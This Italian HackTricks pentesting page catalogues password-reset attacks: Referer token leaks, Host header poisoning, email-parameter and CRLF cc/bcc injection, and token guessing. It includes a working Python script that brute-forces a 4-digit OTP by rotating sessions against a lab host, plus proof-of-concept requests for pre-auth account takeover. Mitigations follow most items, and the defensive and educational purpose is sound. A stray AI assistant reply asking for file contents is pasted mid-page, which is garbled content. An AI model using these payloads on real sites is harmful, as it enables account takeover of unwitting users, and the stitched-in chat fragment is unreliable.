Reset/Forgotten Password Bypass
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Password Reset Token Leak Via Referrer
- Lâheader HTTP referer può leakare il password reset token se è incluso nellâURL. Questo può accadere quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un password reset.
- Impact: Potenziale takeover dellâaccount tramite attacchi Cross-Site Request Forgery (CSRF).
- Exploitation: Per verificare se un password reset token sta leakando nellâheader referer, richiedi un password reset al tuo indirizzo email e clicca sul link di reset fornito. Non cambiare subito la password. Invece, naviga su un sito di terze parti (come Facebook o Twitter) mentre intercetti le richieste usando Burp Suite. Ispeziona le richieste per vedere se lâreferer header contiene il password reset token, poichĂŠ questo potrebbe esporre informazioni sensibili a terze parti.
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- Gli attacker possono manipolare lâHost header durante le richieste di password reset per far puntare il link di reset a un sito malevolo.
- Impact: Possibile takeover dellâaccount tramite leak dei reset token agli attacker.
- Mitigation Steps:
- Valida lâHost header confrontandolo con una whitelist di domini consentiti.
- Usa metodi sicuri lato server per generare URL assoluti.
- Patch: Usa
$_SERVER['SERVER_NAME']per costruire gli URL di password reset invece di$_SERVER['HTTP_HOST']. - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Gli attacker possono manipolare la richiesta di password reset aggiungendo parametri email addizionali per dirottare il link di reset.
- Aggiungi lâemail dellâattacker come secondo parametro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Aggiungi lâemail dellâattaccante come secondo parametro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Aggiungi lâemail dellâattacker come secondo parametro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Aggiungi lâemail dellâattaccante come secondo parametro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
Aggiungi lâindirizzo email dellâattacker come secondo parametro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Aggiungi attacker email come secondo parametro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
Posso farlo, ma ho bisogno del contenuto (o della porzione di JSON) da modificare. In generale, basta aggiungere lâemail dellâattaccante come secondo elemento dellâarray JSON.
Esempio:
- Prima: [âvictim@example.comâ]
- Dopo: [âvictim@example.comâ, âattacker@example.comâ]
Se vuoi che aggiorni il file src/pentesting-web/reset-password.md, incolla qui il contenuto o conferma che posso applicare la modifica a tutte le occorrenze dellâarray.
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Passi di mitigazione:
- Analizza e valida correttamente i parametri email lato server.
- Usa prepared statements o parameterized queries per prevenire injection attacks.
- Riferimenti:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Modificare email e password di qualsiasi utente tramite i parametri API
- Gli attacker possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dellâaccount.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Passaggi di mitigazione:
- Assicurare una rigorosa validazione dei parametri e controlli di autenticazione.
- Implementare logging e monitoraggio robusti per rilevare e rispondere ad attivitĂ sospette.
- Riferimento:
- Full Account Takeover via API Parameter Manipulation
No Rate Limiting: Email Bombing
- La mancanza di rate limiting sulle richieste di password reset può portare a email bombing, sovraccaricando lâutente con email di reset.
- Passaggi di mitigazione:
- Implementare rate limiting basato su indirizzo IP o account utente.
- Usare CAPTCHA per prevenire abusi automatizzati.
- Riferimenti:
- HackerOne Report 280534
Find out How Password Reset Token is Generated
- Capire il pattern o il metodo dietro la generazione dei Password Reset Token può permettere di prevedere o brute-forzare i token. Alcune opzioni:
- Basato su Timestamp
- Basato sul UserID
- Basato sullâemail dellâutente
- Basato su nome e cognome
- Basato sulla data di nascita
- Basato su metodi crittografici
- Passaggi di mitigazione:
- Usare metodi crittografici forti per la generazione dei token.
- Garantire sufficiente entropia e lunghezza per prevenire prevedibilitĂ .
- Tools: usare Burp Sequencer per analizzare la randomness dei token.
Guessable UUID
- Se gli UUID (versione 1) sono indovinabili o predicibili, gli attaccanti possono brute-forzarli per generare reset token validi. Controlla:
- Passaggi di mitigazione:
- Usare GUID version 4 per maggiore randomness o implementare misure di sicurezza aggiuntive per altre versioni.
- Tools: usare guidtool per analizzare e generare GUID.
Response Manipulation: Replace Bad Response With Good One
- Manipolare risposte HTTP per bypassare messaggi di errore o restrizioni.
- Passaggi di mitigazione:
- Implementare controlli server-side per garantire lâintegritĂ delle risposte.
- Usare canali di comunicazione sicuri come HTTPS per prevenire man-in-the-middle.
- Riferimento:
- Critical Bug in Live Bug Bounty Event
Using Expired Token
- Testare se token scaduti possono ancora essere usati per il password reset.
- Passaggi di mitigazione:
- Implementare politiche rigorose di scadenza dei token e validare la scadenza server-side.
Brute Force Password Reset Token
- Tentare di brute-force il reset token usando strumenti come Burpsuite e IP-Rotator per bypassare i rate limit basati su IP.
- Passaggi di mitigazione:
- Implementare rate-limiting robusto e meccanismi di lockout degli account.
- Monitorare attivitĂ sospette indicative di attacchi brute-force.
Try Using Your Token
- Verificare se il reset token di un attaccante può essere usato insieme allâemail della vittima.
- Passaggi di mitigazione:
- Assicurarsi che i token siano vincolati alla sessione utente o ad altri attributi specifici dellâutente.
Session Invalidation in Logout/Password Reset
- Assicurarsi che le sessioni vengano invalidate quando un utente effettua il logout o resetta la password.
- Passaggi di mitigazione:
- Implementare una corretta gestione delle sessioni, assicurando che tutte le sessioni vengano invalidate al logout o al reset della password.
Session Invalidation in Logout/Password Reset
- I reset token dovrebbero avere un tempo di scadenza dopo il quale diventano invalidi.
- Passaggi di mitigazione:
- Impostare un tempo di scadenza ragionevole per i reset token e applicarlo rigorosamente server-side.
OTP rate limit bypass by changing your session
- Se il sito usa la sessione utente per tracciare i tentativi errati di OTP e lâOTP è debole (<= 4 cifre) allora si può effettivamente brute-forceare lâOTP.
- sfruttamento:
- Basta richiedere un nuovo session token dopo essere stati bloccati dal server.
- Esempio di codice che sfrutta questo bug indovinando casualmente lâOTP (quando cambi la sessione anche lâOTP cambierĂ , quindi non potremo brute-forceare in modo sequenziale!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
Alcune implementazioni espongono unâazione di cambio password che chiama la routine di change password con skipOldPwdCheck=true e non verifica alcun reset token o ownership. Se lâendpoint accetta un parametro action come change_password e uno username/nuova password nel body della richiesta, un attaccante può resettare account arbitrari pre-auth.
Vulnerable pattern (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Richiesta di exploitation (concetto):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
Mitigations:
- Richiedere sempre un reset token valido e limitato nel tempo, legato allâaccount e alla session, prima di cambiare la password.
- Non esporre mai i percorsi skipOldPwdCheck a utenti non autenticati; imporre lâautenticazione per le normali modifiche della password e verificare la password precedente.
- Invalidare tutte le sessioni attive e i reset token dopo un cambio password.
Registration-as-Password-Reset (Upsert on Existing Email)
Alcune applicazioni implementano il signup handler come un upsert. Se lâemail esiste giĂ , lâhandler aggiorna silenziosamente il record utente invece di rifiutare la richiesta. Quando lâendpoint di registrazione accetta un body JSON minimale con unâemail esistente e una nuova password, diventa di fatto un pre-auth password reset senza alcuna verifica di proprietĂ , consentendo il completo account takeover.
Pre-auth ATO PoC (overwriting an existing userâs password):
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Riferimenti
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

